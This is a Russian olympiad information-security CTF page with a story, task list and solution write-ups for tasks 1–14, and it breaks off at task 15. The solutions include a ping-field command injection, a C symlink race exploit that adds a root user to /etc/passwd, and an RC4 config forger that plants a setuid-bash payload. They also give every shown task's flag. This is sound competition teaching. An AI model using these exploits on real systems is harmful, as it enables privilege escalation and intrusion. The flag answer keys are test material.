search icon search icon ВЕРСИЯ ДЛЯ СЛАБОВИДЯЩИХ

Инженерный тур. 3 этап

Общая информация

Цель инженерного тура Национальной технологической олимпиады по профилю Информационная безопасность — получение опыта противодействия киберугрозам, практических навыков в различных областях информационной безопасности, таких как:

  • анализ защищенности;
  • расследование инцидента;
  • устранение уязвимостей.
Легенда задачи

Участникам заключительного этапа Национальной технологической олимпиады предлагается продолжить противостояние преступной хакерской группировке «Таежный кролик» и оказаться в самом сердце APT, городе Hackапулько, где буквально на каждом шагу можно встретить различные уязвимые устройства интернета вещей, веб-приложения и сетевую инфраструктуру.

Для успешного решения заданий участникам будет необходимо продемонстрировать навыки:

  • проведения сетевых атак;
  • эксплуатации уязвимостей веб-приложений;
  • эксплуатации бинарных уязвимостей;
  • реверс-инжиниринга (обратной разработки);
  • поиска уязвимостей в программном обеспечении;
  • использование эксплойтов, находящихся в открытом доступе;
  • проведения атак на криптографические алгоритмы;
  • исправления уязвимостей при статическом анализе кода;
  • детектирования утечек по скрытым сетевым каналам;
  • защиты веб-приложений наложенными средствами;
  • компьютерной криминалистики, анализа вредоносного программного обеспечения.

Формат оценки решений участников — task-based, каждому заданию соответствует определенное количество баллов, которое участник получит при успешной сдаче флага — строки определенного формата.

Некоторые решения предусматривают сдачу в формате отчета с защитой у экспертного жюри.

Участнику, который первым находит уязвимость нулевого дня в одном из представленных на соревновании устройств, положен специальный приз.

Требования к команде и компетенциям участников

Команда состоит из четырех человек (возможны исключения, связанные с болезнью участников или отказом принять участие в заключительном этапе).

Роли, ответственность и задачи в команде участники распределяют сами. Для ориентира рекомендуется, чтобы в команде были представители, способные так или иначе решить задачи любого типа CTF-соревнований.

Ориентир по необходимым навыкам:

  • криптографические алгоритмы с открытым ключом;
  • анализ защищенности web-приложений;
  • алгоритмы хеширования;
  • обфускация кода;
  • санитизация;
  • анализ сетевого трафика;
  • реверс-инжиниринг программного обеспечения;
  • базы данных;
  • парольные политики;
  • работа с файлами;
  • выявление признаков работы ВПО;
  • работа с репозиториями кода;
  • практика в решении CTF задач (будет плюсом).
Оборудование и программное обеспечение

Каждая команда работает за стандартным рабочим местом, предоставляемым организаторами с ОС Kali.

Разрешено использовать любое программное обеспечение, которое не требует оплаты для работы (то есть распространяется свободно), в том числе бесплатные версии платного ПО.

Наименование Описание

Kali: https://cdimage.kali.org/kali-2025.1c/kali-linux-2025.1c-installer-amd64.iso.

Скрипт для установки нижеперечисленного ПО на Kali Linux (пароль: ektirpT4uA): https://pastebin.com/gfqGdG7B

Операционная система

Ghidra: https://github.com/NationalSecurityAgency/ghidra/releases/tag/Ghidra_10.1.4_build.

JDK 11(Нужен для работы Ghidra): https://oracle.com/java/technologies/javase/jdk11-archive-downloads.html

Для решений подзадач по реверс-инжинирингу ПО и бинарной эксплуатации

Wireshark;

sqlmap;

Burp Suit (OWASP ZAP)

(предустановлены в Kali Linux)

Для подзадач, при решении которых необходимо проведение анализа сетевого трафика, комплексный анализ защищенности web-приложений

Virtualbox: https://www.virtualbox.org/wiki/Linux_Downloads.

Autopsy (предустановлено в Kali Linux)

Для решений задач по форензике

tcpdump (предустановлено в Kali Linux);

httpdump: https://github.com/hsiafan/httpdump

Для подзадач, связанных с устранением уязвимостей

C++, Python (предустановлено в Kali Linux).

Golang: https://go.dev/doc/install

Для подзадач, подразумевающих разработку средств для устранения уязвимостей
SSH, OpenSSL (предустановлены в Kali Linux) Для установления удаленных защищенных подключений
Visual Studio Code: https://code.visualstudio.com/download, дополнительных пакетов для visualcode не требуется Для формирования отчетов по решенным подзадачам и написания кода в рамках решения самих подзадач

Docker, Docker Compose;

установка докера:

curl https://get.docker.com | bash

Для локального запуска задач

apt-get update && apt-get upgrade (обновление системы);

apt-get install cmake g++ openssl libgnutls28-dev libssl-dev (установка пакетов для компиляции проекта);

wget http://manio.skyboo.net/mikrotik/mtpass-0.9.tar.bz2 (скачивание проекта mtpass);

bunzip2 mtpass-0.9.tar.bz2 (распаковка из архива bz2);

tar -xf mtpass-0.9.tar (распаковка из архива tar);

cd mtpass-0.9/ (переходим в папку с проектом);

g++ mtpass.cpp -lgnutls-openssl -o mtpass (компиляция проекта mtpass);

./mtpass mikrotik.rom или «Name».BIN (чтение дампа памяти)

Для анализа дампа памяти устройств MikroTik
Описание задачи

В конце 2024 года всю страну потрясла серия изощренных кибератак, организованных хакерской группировкой под кодовым названием «Таежный Кролик». Эта APT продемонстрировала мастерство в долгосрочных и скрытных операциях, став настоящим кошмаром для корпоративных структур.

Напомним, под ударом оказались такие крупные градообразующие предприятия, как «Большие Русские Шлепки», «МосГосСибМорСпецСтройКанал», «Крупная Рыба», «Туннельный синдром», завод «ПроСто», компании «АкваМиниРалли», «Джон Сильвер», сеть ресторанов «Сою оставь в рагу», а также школа олбанского языка. У каждого второго жителя на уме было лишь одно: «Таежный кролик». Однако, благодаря сотрудникам отдела информационной безопасности (то есть вам), этому инвазивному виду удалось дать отпор, пусть и не полностью уничтожить.

Сегодня вы находитесь в сердце «Таежного кролика» — в городе Hackапулько, столице республики Hackасия, где «Кролик» затаился и готовит самую масштабную в истории человечества кибератаку, способную нанести невосполнимый урон инфраструктуре страны. Мы не можем этого допустить!

Благодаря смелым действиям наших специалистов и тщательной разведке, нам удалось получить доступ к офисной инфраструктуре «Таежного кролика» и некоторым сервисам города Hackапулько, которые «Кролик» вовсю использует в своих грязных делишках. Сегодня вам предстоит спуститься в кроличью нору, найти и проэксплуатировать уязвимости в инфраструктуре «Таежного кролика» и, наконец, стереть «Кролика» с его грязными лапами с лица киберпространства. Желаем удачи!

Задание 1. Кроличий горшок 1 (10 баллов)

Поговаривают, что глава «Таежного кролика» — человек немолодой, и все проблемы, приходящие с возрастом, ему хорошо знакомы — плохая память в том числе. По имеющимся данным, чтобы не забывать важные сведения, он везде оставляет для себя подсказки. Самое любопытное, что хранит он их не на обычных стикерах, прикрепленных к монитору, а на фотографиях, спрятанных в каком-то «горшке». Нам еще предстоит выяснить, что именно это означает — и (кто знает?) может, там отыщется нечто более интересное.

Сложность: низкая.

Задание 2. Кроличий горшок 2 (30 баллов)

Никогда не гадали, глядя на горшок, что там у него в голове? Кажется, глава APT «Таежный кролик» начал доверять «памяти горшка» больше, чем собственной. Интересно, получится ли узнать, какие секреты он там хранит?

Сложность: высокая.

Задание 3. Wi-Fi-роутер 1 (10 баллов)

Информация, извлеченная из «кроличьего горшка», неожиданно оказалась ключом к беспроводной сети. Теперь ваша задача — получить доступ к административной панели роутера Wi-Fi-сети и отыскать флаг, спрятанный в поле «Имя устройства».

Сложность: низкая.

Задание 4. Wi-Fi-роутер 2 (30 баллов)

Наша разведка выяснила, что этот роутер уязвим к удаленному выполнению произвольного кода. Ваша задача — воспользоваться уязвимостью, выполнить необходимый код и отыскать флаг, который лежит в домашней директории пользователя root.

Сложность: высокая.

Задание 5. Камера 1 (20 баллов)

По данным разведки, «Таежный кролик» хранит нечто настолько важное, что их инженеры решили установить видеонаблюдение за этим объектом. Ваша цель — добыть изображение с камеры и выяснить, что удостоилось такого пристального внимания.

Сложность: средняя.

Задание 6. Камера 2 (30 баллов)

На этот раз камеры защищены надежнее. Но наша разведка тоже не стоит на месте — им удалось раздобыть дамп прошивки камеры. Сможете ли вы найти ей достойное применение? Выключите режим сигнализации камеры или перехватите контроль над камерой, чтобы незамеченным подобраться к флагу.

Сложность: высокая.

Задание 7. Принтер 1 (10 баллов)

«Таежный кролик» заранее вовсю готовится к празднованию успеха своей грандиозной кибератаки и уже печатает листовки на, казалось бы, безобидном принтере. Однако «Ушастый» не подозревает, что, как бы высоко он ни прыгал, «гоп» сказать ему не суждено. Ваша задача — найти уязвимость в программном обеспечении принтера и получить доступ к учетной записи, чтобы сорвать кроличьи планы.

Сложность: низкая.

Задание 8. Принтер 2 (30 баллов)

Используйте добытые учетные данные, чтобы проникнуть в сервисы одного из ключевых узлов сети. Добейтесь возможности удаленного выполнения кода на этой машине и отыщите флаг, спрятанный в домашнем каталоге пользователя root.

Сложность: высокая.

Задание 9. Инфраструктура — сервис печати 1 (10 баллов)

В погоне за своей грандиозной кибератакой «Таежный кролик» переоценил надежность обычного сервиса печати CUPS. Оказалось, в нем есть уязвимость, позволяющая вам выполнить произвольный код на целевом узле. Воспользуйтесь этим просчетом, проберитесь в систему и заберите флаг из домашнего каталога пользователя — пусть «Кролик» поймет, что прыгать безрассудно было ошибкой.

Сложность: низкая.

Задание 10. Инфраструктура — сервис печати 2 (30 баллов)

Пора показать, кто тут настоящий «мастер печатного слова»! Поднимите привилегии на уязвимом узле с запущенным сервисом печати CUPS и загляните в домашнюю директорию пользователя root — там вас ждет заветный флаг.

Сложность: высокая.

Задание 11. Инфраструктура — Jira (10 баллов)

Кажется, «Таежный кролик» полагал, что Jira Atlassian неприступна, но в ней скрывается уязвимость для удаленного выполнения кода. Найдите слабое звено и воспользуйтесь им, чтобы проникнуть в систему и забрать флаг из домашнего каталога пользователя. Пусть «Кролик» поймет, что и здесь его планы дают сбой!

Сложность: низкая.

Задание 12. Инфраструктура — Confluence 1 (10 баллов)

В погоне за секретной секретностью злоумышленники решили хранить свои тайны в Confluence. Однако в этой системе обнаружилась критическая уязвимость, позволяющая выполнять код удаленно. Ваша задача — воспользоваться этой брешью, проникнуть в систему и отыскать флаг, спрятанный в домашнем каталоге пользователя. Пусть эти хитрецы поймут, что даже самая надежная крепость порой дает трещину!

Сложность: низкая.

Задание 13. Инфраструктура — Confluence 2 (30 баллов)

«Таежный кролик» явно ценит Confluence, ведь там они ведут подробные записи о своих хитрых планах и секретных разработках. Ваша задача — получить пользовательский доступ к узлу и повысить привилегии до уровня root. Флаг спрятан в домашнем каталоге суперпользователя. Добудьте его и лишите «Кролика» важного преимущества!

Сложность: высокая.

Задание 14. Инфраструктура — NAS 1 (20 баллов)

Наш секретный агент перестал выходить на связь, а его последнее сообщение не удалось полностью расшифровать. Оно было таким: «…(неразборчиво) …стучите трижды ……(неразборчиво) …1337–1377 …(звуки борьбы)». Ваша задача — разобраться в этой загадке. Получите доступ к сервису и найдите флаг, спрятанный в названии одной из папок.

Сложность: средняя.

Задание 15. Инфраструктура — NAS 2 (20 баллов)

Разведка подтвердила, что на узле установлено сетевое хранилище данных, и в его защите есть дыра, позволяющая выполнить произвольный код удаленно. Ваша задача — использовать эту уязвимость, проникнуть в систему и найти флаг, спрятанный в домашнем каталоге пользователя root.

Сложность: средняя.

Задание 16. Касса (20 баллов)

Вы наткнулись на специальный сервис по оформлению билетов города Hackапулько, активно используемый членами группировки «Таежный кролик» для транспортировки своих «грязных девайсов» — флеш-накопителей «Good-USB», адаптеров беспроводных сетей Sigma, устройств Zlipper Fero и десятков тонн другого оборудования.

Благодаря работе наших сотрудников удалось достать исходные данные этого сервиса. Ваша задача — разобраться в полученных данных и обнаружить уязвимость на сервере. Узнайте, в чем заключается уязвимость и отыщите спрятанный флаг!

Задание 17. Касса WAF (10 баллов)

Нам очень уж понравился хакерский софт, а кондукторов как раз не хватает. Можете по-быстрому закрыть уязвимость, не изменяя код (мы уже все развернули и подготовили)? Прокси уже работает, осталось написать правило для фильтрации, осилите?

Задание 18. Менеджер паролей 1 (30 баллов)

Мы получили доступ к NekoPASS — менеджеру паролей всей группировки «Таежный кролик». Если нам удастся расшифровать хранилище, мы определенно сможем получить ценные сведения.

Разберитесь с приложением NekoPASS и проверьте его хранилище на надежность. Внутри вас уже ждет флаг — остается только его вытащить!

Задание 19. Менеджер паролей 2 (30 баллов)

Разработчики NekoPASS уже носятся с новой версией шифра, чтобы закрыть уязвимость. Но наша разведка не дремлет: они раздобыли прототип нового шифра, и, похоже, он подвержен сдвиговой атаке. В довесок к прототипу нам прислали исходный текст и соответствующий шифротекст.

Ваша задача — провести анализ нового шифра, применить сдвиговую атаку и вычислить ключ шифрования. Времени в обрез: нужно получить ключ до того, как «Таежный кролик» закроет дыру в безопасности. Ключ шифрования — это и есть ваш флаг. Удачи!

Задание 20. Контейнер (10 баллов)

Вы вышли на узел, который управляет умными светофорами на одном из предприятий города Hackапулько, подконтрольном APT «Таежный кролик». Отличная возможность превратить их жизнь в настоящий хаос!

Ваша задача — найти уязвимость, получить возможность удаленного выполнения кода в контейнере и извлечь флаг. Как только у вас будут доступы, мы передадим их в отдел ШВБ («Шифрование Во Благо»), и они позаботятся, чтобы сервис «упал» надолго.

Задание 21. Кадры (30 баллов)

Вы наткнулись на сервис управления кадровыми ресурсами APT «Таежный кролик». Именно здесь они вербуют новых киберпреступников в свою темную ушастую армию. Наши менеджеры передали загадочную подсказку от разведки: «Используйте после освобождения». Что ж, неудивительно, что я ничего не понял — с этими менеджерами определенно надо что-то делать.

Но ваша задача ясна: найдите уязвимость, получите возможность удаленного выполнения кода на узле и добудьте флаг в качестве доказательства. После этого мы передадим ваши доступы в отдел ШВБ («Шифрование Во Благо»), чтобы они помогли сервису «упасть» на долгое время. Пусть «Кролик» останется без новых рекрутов!

Задание 22. Временные сообщения (10 баллов)

Следующая цель — система временных сообщений, которой пользуются хакеры «Таежного кролика». Именно здесь они координируют свои действия и выбирают новые цели для атак. Если нам удастся взломать эту систему, мы сможем не только узнать планы «Кролика», но и серьезно нарушить его операции.

Ваша задача — проанализировать исполняемый файл, найти бинарную уязвимость и получить доступ к файлу с флагом. Давайте покажем «Кролику», что его тайные переписки больше не такие уж и тайные!

Задание 23. Враг врага 1 (40 баллов)

Поступила информация, что враг нашего врага, группировка «Таймырский муксун», недавно нанесли удар по «Кролику». Судя по всему, им удалось успешно провести атаку, а наша разведка смогла достать образ системы с этого мероприятия. Ваша задача — проанализировать их как можно быстрее, чтобы мы успели повторить атаку, пока «Кролик» не запатчил свои системы.

https://disk.yandex.ru/d/s0SqPZUoe2LEPQ.

Вот ключевые вопросы, которые помогут сузить круг поиска:

  • Как приложение попало на хост? (2 балла)
  • Какое именно приложение является вредоносным? (3 балла)
  • Каким образом данное приложение воздействует на систему? (5 баллов)
  • Какие негативные действия были выполнены в ходе работы вредоносного приложения? (10 баллов)
  • Какие механизмы защиты от детектирования применены во вредоносном приложении? (10 баллов)
  • Какой ключ нужен для дешифрования вредоносной нагрузки? (5 баллов)
  • С каким именно хостом соединяется вредоносное приложение? (3 балла)
  • Какие именно файлы подвержены воздействию вредоносного приложения? (2 балла)

Задание 24. Враг врага 2 (65 баллов)

Разведка донесла, что APT «Таймырский муксун» недавно провернул изящную операцию против «Таежного кролика». Поговаривают, что в инфраструктуру «Кролика» было внедрено вредоносное ПО, которое успело наделать шума. Теперь наша задача — докопаться до истины. Вперед, охотники за «кроличьими» секретами!

https://disk.yandex.ru/d/K8_KfwU3FtUsGA.

Вот ключевые вопросы, которые помогут сузить круг поиска:

  • Как был получен первичный доступ к системе? (2 балла)
  • С каких IP-адресов поступала полезная нагрузка? (2 балла)
  • Какие механизмы защиты от детектирования применены во вредоносном приложении? (4/8 баллов)
  • В какое время было начато исполнение вредоносной нагрузки? (13 баллов)
  • Какая строчка была использована в качестве SECRET поля для уязвимого сервиса? (20 баллов)
  • Опишите принцип работы и тип вредоносной нагрузки. (20 баллов)

Задание 25. Таежный профиль 1 (10 баллов)

В ходе анализа трафика на одном из предприятий города Hackапулько мы обнаружили до боли знакомую активность в ICMP-трафике. Именно этот метод передачи конфиденциальной информации по скрытому каналу использовался при кибератаках на нашу инфраструктуру, и, вероятно, группировка нашла новую жертву.

Наши коллеги из отдела ШВБ («Шифрование Во Благо») уже успели посмотреть на трафик и предположили, что «Кролик» шифрует данные с помощью манипуляции задержками ICMP-пакетов, используя систему NFQ.

На передаваемом трафике видна интересная схема:

  • |-| — бит для получения буквы,
  • 0 — разделитель.

Рис. 5.1.

К сожалению, именно в этот момент отделу ШВБ пришла очередная срочная задача, поэтому закончить начатое — проанализировать файл дампа перехваченного трафика и расшифровать скрытое сообщение, придется вам! Проявите бдительность: в этих «невинных» пингах могут прятаться ключи к планам «Таежного кролика»! Удачи!

https://disk.yandex.ru/d/YJDR8vDTv_0bLg.

Задание 26. Таежный профиль 2 (20 баллов)

На этот раз разведка обнаружила что-то новое. В одной из криптографических баз APT «Таежный кролик» был обнаружен стенд, на котором, очевидно, проводились испытания нового защищенного протокола связи.

Разведка сообщила, что последователи «Кролика» смогли зашифровать информацию в задержках между сетевыми пакетами, а чтобы усложнить анализ трафика, специалисты преступной группировки добавили шум в передачу данных.

Посмотрите на схему, которую доставили нам прямиком с одной из баз, возможно, алгоритм станет немного понятнее:

  • 0 — это задержка \(0 * d\);
  • 1 — это задержка \(1 * d\);
  • \(n\) — это задержка \(n * d\), где \(d\) — используемая базовая задержка.

Рис. 5.2.

Согласно информации разведки, в украденном нами дампе трафика содержится секретный код доступа. Получив числовую последовательность, соберите флаг в формате nto{52_первые_декодированные_цифры}.

https://disk.yandex.ru/d/Suo3xZSpBG_GKg.

Задание 27. Поезд (25 баллов)

Электрический локомотив под управлением ПЛК Siemens S7-1200 мчится по просторам республики Hackасия, делая пять остановок в ключевых городах: Hackапулько, DOSтоевский, ADыгейск, Hackтюбинск, LSASSбест. На каждой станции происходит посадка и высадка работников предприятий APT «Таежный кролик», а на экранах вагонов отображаются их имена и фамилии.

Наша разведка выяснила, что в контрольно-пропускной системе поездов есть уязвимость, с помощью которой один из наших лучших спецагентов сможет попасть прямо в сердце «Кролика», его штаб-квартиру.

Ваша задача — найти и проверить возможность эксплуатации сбоя. В момент остановки поезда вам нужно сесть в вагон на место легитимного пассажира. Если шалость удалась, на экране появится ваш никнейм или название команды. Желаем удачи и нашей общей победы!

Задание 28. Кроличья нора (10 баллов)

Перед вами задание уровня «кроличьей норы»: необходимо получить доступ к устройствам MikroTik RB951Ui-2HnD, чтобы забрать флаг.

В корне каждого из пяти устройств спрятан флаг, но вот незадача — на выбор у вас будет 30 чипов памяти, и лишь в семи из них находятся прошивки нужных устройств.

Ваша задача — выбрать правильные чипы, считать их содержимое с помощью Universal Programmer RT809H и найти заветный флаг.

Помните: «Таежный кролик» не оставляет очевидных зацепок, так что придется по-настоящему вжиться в роль кибер-Шерлока!

Задание 29. Мониторинг будущего! (30 баллов)

Вы попали в сердце нашей инновационной системы мониторинга, которая может агрегировать данные сразу из множества разных систем. Все выглядит стабильно и даже немного скучно... Но не расслабляйтесь! Именно в такие моменты «Кролик» обычно начинает действовать.

Задание 30. Мониторинг WAF (10 баллов)

Знакомая система! Кажется, такая же работает прямо у нас! Срочно напишите правило фильтрации для прокси для закрытия уязвимости, а то останавливать работу не очень хочется, аптайм все-таки больше года...

Задание 31. Непрошеные гости! (60 баллов)

Проблема не заставила себя долго ждать: в системе появились какие-то подозрительные сервисы, о которых наши инженеры и слыхом не слыхивали. Пока «Таежный кролик» не воспользовался этим, нужно срочно подключиться к веб-серверу, найти лазейки и перекрыть вектор атаки.

Ваши задачи:

  1. оперативно выяснить какие векторы атаки возможны (30 баллов);
  2. восстановить безопасность системы (30 баллов).

Помните — только от вас зависит как быстро мы сможем выгнать «кролика» из дома.

Система оценивания

Задача инженерного тура оценивается максимум в 710 баллов по собственной шкале оценивания.

Задача разбита на подзадачи, каждая из которых подразумевает сдачу в формате отчета и должна быть защищена в ходе собеседования с экспертным жюри. Только по итогам собеседования могут быть начислены баллы.

Собеседование — это беседа с экспертами профиля о ходе решения задачи и полученном результате. По его результатам и итогам решения задачи в целом или отдельной подзадачи, члены одной и той же команды могут получить разные баллы: 3, 5, 7, 10, 15, 20, 40 (максимум определяется стоимостью вопроса).

По решению жюри и на основании собеседования максимальный балл команды может быть увеличен. Победители и призеры заключительного этапа Олимпиады определяются в личном зачете: ими становятся участники, набравшие наибольшее количество баллов, рассчитанное по формуле: \[\text{Балл}_\text{математика} \times 0{,}15 + \text{Балл}_\text{информатика} \times 0{,}15 + (\text{Балл}_ \text{инженерный}/\text{Макс. балл}) \times 70.\]

Организаторы заключительного этапа Олимпиады определяют количество победителей и призеров, которое не может превосходить более 25% от общего числа, а количество победителей не превышает 8%.

В случае равенства баллов и невозможности определить призеров и победителей, будет принято во внимание качество (оформление в соответствии со стандартами оформления отчетов, читабельность, наличие диаграмма и т. п.) оформления итоговых отчетов.

Каждая команда должна предоставить отчет о работе с указанием выявленных уязвимостей и кодом написанных патчей, а также кодом, использованным для поиска уязвимостей, в формате .docx и .pdf. Отсутствие отчета, согласованного с жюри и выложенного вместе с кодом, и выложенного публичного кода приводит к аннулированию результатов.

Решение задачи

Задание 1. Кроличий горшок 1

Необходимо перейти по эндпоинту /custom-anim, где в одной из анимаций и будет находиться флаг: nto{un4u7h3n71c473d_w3b_p07_4cc355}.

Рис. 7.1.

Задание 2. Кроличий горшок 2

Участникам необходимо изучить функционал API умного горшка (например, используя опубликованные в сети интернет-исследования данной модели). После этого следует написать скрипт на одном из языков программирования для извлечения значений, хранящихся в памяти устройства, через эндпоинт /control. Пример кода на языке Python приведен ниже.

Python
import struct
import requests

start_param = 0
end_param = 1337

with open("dumpy.bin", "wb") as f:
    for i in range(start_param, end_param):
        print(f"[*] Requesting {i}")
        r = requests.post("http://ADDRESS/control", json={"cmd": 1, "param": i})
        value = r.json()["value"]
        if type(value) == int:
            f.write(struct.pack("<i", value))
        elif type(value) == float:
            f.write(struct.pack("<f", value))
        elif value is None:
            f.write(struct.pack("<i", 0))
        else:
            print("Unknown type!", value)
        f.flush()

При получении данных по индексу (значение параметра param) 1700–1745 из памяти будет извлечен флаг: nto{p07_wh475_1n_ur_h34d}.

Рис. 7.2.

Задание 3. Wi-Fi-роутер 1

Получив флаг из памяти горшка, необходимо подключиться с этими данными к административной панели управления роутером Asus (10.10.1.155, 10.10.1.157): admin | nto{p07_wh475_1n_ur_h34d}. Далее необходимо перейти в раздел роутера: Administration, далее — вкладка System, в поле NTP Server находится флаг: nto{p455_r3u53_15_d4n63r0u5}.

Задание 4. Wi-Fi-роутер 2

Необходимо выполнить эксплуатацию уязвимости CVE-2022-31874. Например, в панели администратора роутера можно перейти в раздел Network Tools. Во вкладке Ping в поле адрес выполнить следующую нагрузку: 8.8.8.8;cat /root/flag.

После выполнения команды будет выведен флаг: nto{c0n6r475_y0uv3_ju57_f0und_z3r0}.

Задание 5. Камера 1

Для решения задания участнику необходимо проэксплуатировать уязвимость CVE-2021-4045, которая позволяет неаутентифицированному пользователю выполнить произвольный код на устройстве. В файле /tmp/etc/uc_conf/user_management хранятся данные учетной записи, которые следует использовать для перехвата видеопотока.

Рис. 7.3.

После этого нужно воспользоваться данными УЗ для подключения к видеопотоку камеры через порт 8800 (например, с помощью утилиты, описанной в одном из исследований, https://drmnsamoliu.github.io/video.html).

Рис. 7.4.

После чего получить доступ к видео. Флаг nto{y0u_4r3_6r0z4_74pk0v}.

Рис. 7.5.

Задание 6. Камера 2

Для решения задания участникам необходимо проанализировать прошивку устройства, получить данные из файловой системы squash-fs.

Рис. 7.6.

Рис. 7.7.

Затем посредством утилиты openssl и статического ключа для шифрования usr_conf_data расшифровать содержимое файла, а далее — с помощью утилиты binwalk извлечь данные УЗ для доступа к камере.

Рис. 7.8.

C помощью одного из фреймворков взаимодействия с камерой (например, https://github.com/KusoKaihatsuSha/appgotapo) необходимо получить доступ к камере и отключить режим сигнализации. Флаг находится на компьютере за камерой. Флаг: nto{74p0chn1y_73l3k1n3z}.

Рис. 7.9.

Задание 7. Принтер 1

Для решения задания участнику необходимо проэксплуатировать уязвимость CVE-2022-1026, которая позволяет неаутентифицированному пользователю выгрузить данные учетных записей, сохраненные для выгрузки результатов сканирования на удаленные сетевые ресурсы, в открытом виде. С полученными данными УЗ необходимо подключиться к сервису ftp другого узла сети, указанного в описании задания и получить файл NTOflag1.txt, в котором и содержится флаг.

Флаг: nto{f7p_4cc355_fr0m_ky0c3r4}.

Задание 8. Принтер 2

Необходимо проанализировать конфигурационный файл redis.conf, к которому был получен доступ в ходе решения предыдущего задания «Принтер 1». В данном файле хранится данные для доступа к redis. Получив данные, находим репозиторий, в котором описывается вектор получения удаленного выполнения кода через подгрузку модуля для redis (например, https://github.com/n0b0dyCN/RedisModules-ExecuteCommand). Компилируем его, загружаем на ftp, подгружаем в redis и получаем возможность выполнения кода от пользователя root.

Флаг: nto{d0n7_0v3r3xp0s3_ur_r3d15}.

Задание 9. Инфраструктура — сервис печати 1

Для решения задания участнику необходимо повысить привилегии в системе с помощью бинарного файла, которая позволяет неаутентифицированному пользователю выполнить произвольный код на узле.

Флаг: nto{n0t_my_cup5_0f_734}.

Задание 10. Инфраструктура — сервис печати 2

Для решения задания участнику необходимо повысить привилегии в системе с помощью бинарного файла minerd. В ходе реверс-инжиниринга данного файла необходимо получить информацию о работе данного исполняемого файла. Таким образом, уязвимый сервис использует файл /opt/minerd/log/minerd.log, который может быть редактирован участником из-за привилегий директории, в которой он находится.

Исполняемый файл проверяет наличие файла, отсутствие симлинка на нем, после чего обрабатываемому файлу назначаются такие права доступа, что низкопривилегированный пользователь может его редактировать. Исходный код сервиса на С представлен ниже.

C
// must be group-writable to user
#define LOGFILE "/opt/minerd/log/minerd.log"
#define MAX_ROUNDS 25000
#define SLEEP_TIME 5

void mine_block(void)
{
    int fd;
    struct stat buf;
    int x;
    long long val;

    if (lstat(LOGFILE, &buf) == -1)
    {
        puts("Nofile");
        return;
    }

    if (S_ISLNK(buf.st_mode))
    {
        puts("Symlink");
        return;
    }

    val = 0;
    for (int i = 0; i < MAX_ROUNDS; i++)
    {
        for (int j = 0; j < 64; j++) {
            val = val * 2 + rand() % 8;
        }
    }

    if ((fd = open(LOGFILE, O_WRONLY | O_CREAT | O_APPEND, 0644)) == -1)
    {
        return;
    }

    dprintf(fd, "Hash found: %llx\n", val);

    // Setting permissions
    fchown(fd, buf.st_uid, buf.st_gid);
    fsync(fd);
    close(fd);
}

int main()
{
    puts("Starting miner");
    fflush(stdout);
    srand(time(NULL));
    while(1)
    {
        mine_block();
        sleep(SLEEP_TIME);
    }
}

Таким образом, для успешного решения задачи участнику необходимо установить симлинк, например, на файл /etc/passwd в момент времени между проверкой сервисом наличия симлинка и установлением новых прав доступа для обрабатываемого файла. После чего редактировать файл (например, /etc/passwd) для получения возможности выполнения команды с привилегиями суперпользователя.

Пример кода на С для эксплуатации уязвимости приведен ниже.
C
int main()
{
    puts("Race started");
    while (access("/etc/passwd", W_OK))
    {
        int fd = open("/opt/minerd/log/minerd.log", O_WRONLY | O_CREAT, 0777);
        close(fd);
        usleep(500);
        unlink("/opt/minerd/log/minerd.log");
        usleep(500);
        symlink("/etc/passwd", "/opt/minerd/log/minerd.log");
        usleep(500);
        unlink("/opt/minerd/log/minerd.log");
    }
    puts("Race won");
    int fd = open("/etc/passwd", O_WRONLY | O_APPEND);
    dprintf(fd, "hacker:$1$ha1gqzTxDMAA81FPMd1M84X0:0:0::/root/bin/bash"); // openssl passwd -1 -salt ha 123456
    close(fd);
    puts("You can now login as hacker:123456 using su");
}

Флаг: nto{humm3lch3n0_15_pr0ud_0f_y0u}.

Задание 11. Инфраструктура — Jira

Задание состоит из двух контейнеров — smtpd и Atlassian Jira. Участникам доступен функционал связи с администратором сайта. Для успешного решения задания необходимо проэксплуатировать уязвимость внедрения шаблонов на стороне сервера в Jira (SSTI, CVE-2019–11581) и получить возможность выполнения произвольного кода в системе.

Флаг: nto{j1rn4y4_uy4zv1m057}.

Задание 12. Инфраструктура — Confluence 1

Для решения задания участнику необходимо проэксплуатировать уязвимость CVE-2023-22527, которая позволяет неаутентифицированному пользователю выполнить произвольный код на узле.

Флаг: nto{c0nflu3nc3_15_und3r_4774ck}.

Задание 13. Инфраструктура — Confluence 2

Необходимо повысить привилегии в системе с помощью бинарного файла monitor, который находится в crontab и исполняется с привилегиями пользователя root. В ходе реверс-инжиниринга данного файла необходимо получить информацию о работе данного исполняемого файла. Таким образом, файл /opt/monitor.conf содержит в себе зашифрованный json-объект, в поле health_check которого содержится команда, которая выполняется при запуске исполняемого файла monitor.

Для решения задания участнику необходимо получить конфигурацию алгоритма RC4 из бинарного файла в ходе обратной разработки и зашифровать произвольную команду для выполнения в системе c привилегиями пользователя root. Возможный вариант эксплойта на Python см. ниже.

Python
"""
ka = 0xde
kb = 0xad
kc = 0xbe
kd = 0xef
"""

class RC4:
    la = 0x8b
    lb = 0xad
    lc = 0xF0
    ld = 0x0D

    def __init__(self):
        key = [0xde, 0x8b, 0xad, 0xad, 0xbe, 0xf0, 0xef, 0xd]
        S = list(range(256))
        j = 0
        for i in range(256):
            j = (S[i] + key[i % len(key)] + j) & 0xff
            S[i], S[j] = S[j], S[i]
        self.S = S
        self.keystream = None

    def crypt(self, data):
        assert isinstance(data, (bytes, bytearray))
        keystream = self.keystream or self._keystream_generator()
        return bytes([a ^ b for a, b in zip(data, keystream)])

    def _keystream_generator(self):
        S = self.S.copy()
        x = y = 0
        while True:
            x = (x + 1) & 0xff
            y = (S[x] + y) & 0xff
            S[x], S[y] = S[y], S[x]
            i = (S[x] + S[y]) & 0xff
            yield S[i]
            
if __name__ == '__main__':
    c = RC4()
    payload = "/bin/bash /var/tmp/; chmod u+s /var/tmp/bash"
    d = {'health_check': payload, 'logfile!': '/opt/monitor.log'}
    config = c.crypt(json.dumps(d).encode('utf-8'))
    outfile = open('monitor.conf', 'wb')
    outfile.write(config)
    outfile.close()

Флаг: nto{p0576r35_3xpl0174710n_0n_c0nf}.

Задание 14. Инфраструктура — NAS 1

Следует использовать технику Port Knocking. Порты для техники находились в интервале, указанном в описании задания — 1337–1377. Необходимые порты — 1345, 1362, 1337. При успешной отправке syn-пакетов на эти порты для участника открывается порт 80, на котором развернут сервис OpenMediaVault. Для входа в него нужно использовать логин/пароль по умолчанию. Флаг находится в одном из названий общих папок.

Рис. 7.10.

Флаг: nto{kn0ckd_n70_r3v3n63}.

Задание 15. Инфраструктура — NAS 2

